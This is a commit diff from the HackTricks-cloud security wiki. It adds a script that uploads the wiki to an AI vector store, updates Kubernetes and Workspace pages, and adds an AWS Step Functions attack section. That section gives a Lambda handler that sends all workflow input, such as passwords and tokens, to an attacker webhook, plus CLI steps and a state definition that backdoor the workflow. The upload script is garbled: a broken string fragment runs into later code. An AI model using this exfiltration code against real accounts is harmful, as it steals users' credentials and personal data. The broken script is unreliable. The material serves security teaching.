mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Merge branch 'HackTricks-wiki:master' into master
This commit is contained in:
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
@@ -1,145 +0,0 @@
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"# {file_name}\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
def main():
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"STM Cyber", # STM Cyber ads
|
||||
"offer several valuable cybersecurity services", # STM Cyber ads
|
||||
"and hack the unhackable", # STM Cyber ads
|
||||
"blog.stmcyber.com", # STM Cyber ads
|
||||
|
||||
"RootedCON", # RootedCON ads
|
||||
"rootedcon.com", # RootedCON ads
|
||||
"the mission of promoting technical knowledge", # RootedCON ads
|
||||
|
||||
"Intigriti", # Intigriti ads
|
||||
"intigriti.com", # Intigriti ads
|
||||
|
||||
"Trickest", # Trickest ads
|
||||
"trickest.com", # Trickest ads,
|
||||
"Get Access Today:",
|
||||
|
||||
"HACKENPROOF", # Hackenproof ads
|
||||
"hackenproof.com", # Hackenproof ads
|
||||
"HackenProof", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
"Hacking Insights:", # Hackenproof ads
|
||||
"Engage with content that delves", # Hackenproof ads
|
||||
"Real-Time Hack News:", # Hackenproof ads
|
||||
"Keep up-to-date with fast-paced", # Hackenproof ads
|
||||
"Latest Announcements:", # Hackenproof ads
|
||||
"Stay informed with the newest bug", # Hackenproof ads
|
||||
"start collaborating with top hackers today!", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
|
||||
"Pentest-Tools", # Pentest-Tools.com ads
|
||||
"pentest-tools.com", # Pentest-Tools.com ads
|
||||
"perspective on your web apps, network, and", # Pentest-Tools.com ads
|
||||
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
|
||||
|
||||
"SerpApi", # SerpApi ads
|
||||
"serpapi.com", # SerpApi ads
|
||||
"offers fast and easy real-time", # SerpApi ads
|
||||
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
|
||||
|
||||
"8kSec", # 8kSec ads
|
||||
"academy.8ksec.io", # 8kSec ads
|
||||
"Learn the technologies and skills required", # 8kSec ads
|
||||
|
||||
"WebSec", # WebSec ads
|
||||
"websec.nl", # WebSec ads
|
||||
"which means they do it all; Pentesting", # WebSec ads
|
||||
]
|
||||
|
||||
# Clean and merge .md files
|
||||
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
|
||||
|
||||
# Print the path to the output file
|
||||
print(f"Merged content has been saved to: {output_file}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Execute this from the hacktricks folder to clean
|
||||
# It will clean all the .md files and compile them into 1 in a proper order
|
||||
main()
|
||||
297
scripts/upload_ht_to_ai.py
Normal file
297
scripts/upload_ht_to_ai.py
Normal file
@@ -0,0 +1,297 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
File diff suppressed because one or more lines are too long
BIN
src/images/workspace_oauth.png
Normal file
BIN
src/images/workspace_oauth.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 277 KiB |
@@ -38,13 +38,7 @@ Please, note that the github dorks are also meant to search for leaks using gith
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
|
||||
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
|
||||
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
|
||||
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
|
||||
@@ -71,6 +71,133 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
An attacker who compromises a user or role with the following permissions:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
...can conduct a **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation.
|
||||
|
||||
This scenario assumes that the victim uses **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
|
||||
|
||||
Example victim invocation:
|
||||
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
|
||||
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
|
||||
|
||||
---
|
||||
|
||||
#### Updated the lambda function
|
||||
|
||||
The attacker modifies the code of the Lambda function already used by the Step Function (`LegitBusinessLogic`) to silently exfiltrate input data.
|
||||
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### Add a Malicious State to the Step Function
|
||||
|
||||
Alternatively, the attacker can inject an **exfiltration state** at the beginning of the workflow by updating the Step Function definition.
|
||||
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
|
||||
The attacker can even more stealthy to update the state definition to something like this
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
where the victim won't realize the different
|
||||
|
||||
---
|
||||
|
||||
### Victim Setup (Context for Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
|
||||
- It calls one or more Lambda functions such as `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potential Impact**:
|
||||
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
|
||||
- No visible errors or failures in workflow execution.
|
||||
- Difficult to detect without auditing Lambda code or execution traces.
|
||||
- Enables long-term persistence if backdoor remains in code or ASL logic.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -4,11 +4,35 @@
|
||||
|
||||
## Tools to analyse a cluster
|
||||
|
||||
### [**Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
It's will **several compliance checks over the Kubernetes cluster**. It includes support for CIS, National Security Agency (NSA) and Cybersecurity and Infrastructure Security Agency (CISA) Cybersecurity technical report for Kubernetes hardening.
|
||||
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
brew install turbot/tap/steampipe
|
||||
steampipe plugin install kubernetes
|
||||
|
||||
# Start the service
|
||||
steampipe service start
|
||||
|
||||
# Install the module
|
||||
mkdir dashboards
|
||||
cd dashboards
|
||||
powerpipe mod init
|
||||
powerpipe mod install github.com/turbot/steampipe-mod-kubernetes-compliance
|
||||
|
||||
# Run the module
|
||||
powerpipe server
|
||||
```
|
||||
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time.
|
||||
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
|
||||
@@ -24,7 +48,7 @@ You can choose to:
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
|
||||
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
|
||||
|
||||
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
|
||||
|
||||
@@ -36,14 +60,27 @@ This tool also has the argument `autofix` to **automatically fix detected issues
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
|
||||
**[DEPRECATED]** The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
|
||||
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) has scanners that look for security issues, and targets where it can find those issues:
|
||||
|
||||
- Container Image
|
||||
- Filesystem
|
||||
- Git Repository (remote)
|
||||
- Virtual Machine Image
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**[Looks like unmantained]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
@@ -50,6 +50,18 @@ If you have compromised some credentials or the session of the user check these
|
||||
gws-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Context-Aware Access
|
||||
|
||||
- **Context-Aware Access**: This is a security feature that allows organizations to enforce access policies based on the context of the user, device, and location. It enables granular control over who can access specific application within Google Workspace, enhancing security by ensuring that only trusted users and devices can access sensitive data.
|
||||
|
||||
It requires specific **licenses to be able to use it.**
|
||||
|
||||
This service basically allows you to create **Context-Aware access levels** which allow to configure different conditions that must be met. Access-level conditions contain attributes you can select, such as device policy, IP subnet, or another access level.
|
||||
|
||||
Then, it's possible to **assign these access levels to apps**. It's possible to assign more than one access level to an app, and the user must meet all the conditions of all the access levels assigned to that app.
|
||||
|
||||
|
||||
|
||||
## Account Compromised Recovery
|
||||
|
||||
- Log out of all sessions
|
||||
|
||||
@@ -157,6 +157,14 @@ It's possible to do something using gcloud instead of the web console, check:
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
#### OAuth app protections
|
||||
|
||||
By default it's configured that any user inside a Workspace organization **can accecpt any OAuth app with any permissions**, but it's possible to restrict those to only apps that only request basic info needed for Sign in with Google or to not allow any third-party apps.
|
||||
|
||||
Moreover, even not alowing to trust external third-party apps it's possible to allow to **trust any internal apps** (apps created inside the organization). This trust is configured by **default**.
|
||||
|
||||
<figure><img src="../../../images/workspace_oauth.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
|
||||
@@ -929,8 +929,15 @@ decrypt_password(access_token, lsa_secret)
|
||||
|
||||
It's possible to find the key components of this in the Chromium source code:
|
||||
|
||||
- API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
|
||||
- API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
|
||||
- API domain: [kDefaultEscrowServiceServerUrl[] = L"https://devicepasswordescrowforwindows-pa.googleapis.com";](https://github.com/chromium/chromium/blob/a66c3ddadf5699b5493c3bce9498e53b249d5ba3/chrome/credential_provider/gaiacp/mdm_utils.cc#L78)
|
||||
- API endpoint: [kEscrowServiceGenerateKeyPairPath](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)
|
||||
- Inside the [password_recovery_manager.cc](https://github.com/chromium/chromium/blob/c4920cc4fcae6defb75dc08a3b774a9bc3172c47/chrome/credential_provider/gaiacp/password_recovery_manager.cc) it's possible to see how the API endpoint is used to get a **public key to encrypt the password and the private key to decrypt** it in the needed methods and also how the encrypted password is **stored and retreived from the LSASS process**.
|
||||
|
||||
## GCPW - Recovering locally stored password hash?
|
||||
|
||||
It was checked that even if the computer doesn't have internet access it's possible to login inside of it. Therefore, **some kind of password hash might be stored locally. (TODO)**
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
||||
Reference in New Issue
Block a user